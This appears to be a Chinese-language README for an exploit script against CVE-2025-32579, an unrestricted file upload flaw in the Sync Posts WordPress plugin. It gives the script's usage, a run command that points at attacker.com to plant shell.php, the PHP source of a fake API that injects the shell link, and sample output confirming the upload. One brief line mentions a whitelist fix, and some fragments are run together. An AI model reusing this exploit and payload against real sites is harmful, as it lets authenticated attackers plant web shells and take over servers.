📦 影响版本:Sync Posts <= 1.0
🧨 CVSS 评分:9.9 严重
📁 CVSS 向量:CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
由 SoftClever Limited 开发的 Sync Posts WordPress 插件存在一个无限制文件上传漏洞,该漏洞允许经过身份验证的攻击者在服务器上上传并执行任意 PHP 文件(例如 Web Shell)。
website_url。wp-content/uploads 中。该漏洞利用脚本自动化了完整的攻击链:
<img src="https://raw.githubusercontent.com/nxploited/cve-2025-32579/HEAD/...">website_url 发送到 admin-ajax.php?action=sync_posts/uploads/usage: CVE-2025-32579.py [-h] -u URL -un USERNAME -p PASSWORD -ws WEBSITE -shell WEBSHELL
Exploit For CVE-2025-32579 Sync Posts # By: Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress URL (e.g., http://target.com/wordpress)
-un, --username USERNAME
Username to login
-p, --password PASSWORD
Password to login
-ws, --website WEBSITE
URL to fake API (e.g., http://attacker.com/Khaled_alenazi.php)
-shell, --webshell WEBSHELL
Web shell URL used inside the fake API (can be a test image)
python3 CVE-2025-32579.py -u http://target/wordpress -un admin -p pass123 -ws http://attacker.com/Khaled_alenazi.php -shell http://attacker.com/shell.php
你也可以使用一个虚拟图像代替真实的 Shell 进行测试:
--webshell https://via.placeholder.com/1x1.jpg
这是 Khaled_alenazi.php 返回的响应:
<?php
header('Content-Type: application/json');
echo json_encode([
[
"id" => 1,
"title" => ["rendered" => "Nxploited"],
"content" => [
"rendered" => "<img src="http://attacker.com/shell.php">"
]
]
]);
?>
[*] Attempting login...
[+] Logged in successfully.
[+] Generated fake API PHP file: Khaled_alenazi.php
[+] Sending exploit request to: http://target.com/wordpress
[+] Request sent successfully.
{
"success": true,
"data": {
"message": "Posts imported successfully",
...
}
}
shell.phpwp-content/uploads/2025/04/shell.phpwebsite_url 的访问限制为内部域名或白名单主机CVE:CVE-2025-32579
Exploit 作者:Nxploited (Khaled Alenazi)
| Flag | 描述 |
|---|
-u, --url | 目标 WordPress URL |
-un, --username | WordPress 用户名(admin) |
-p, --password | WordPress 密码 |
-ws, --website | 返回伪造帖子 JSON 的恶意 PHP 文件 URL |
-shell, --webshell | 通过 `` 注入的实际 Shell 文件 |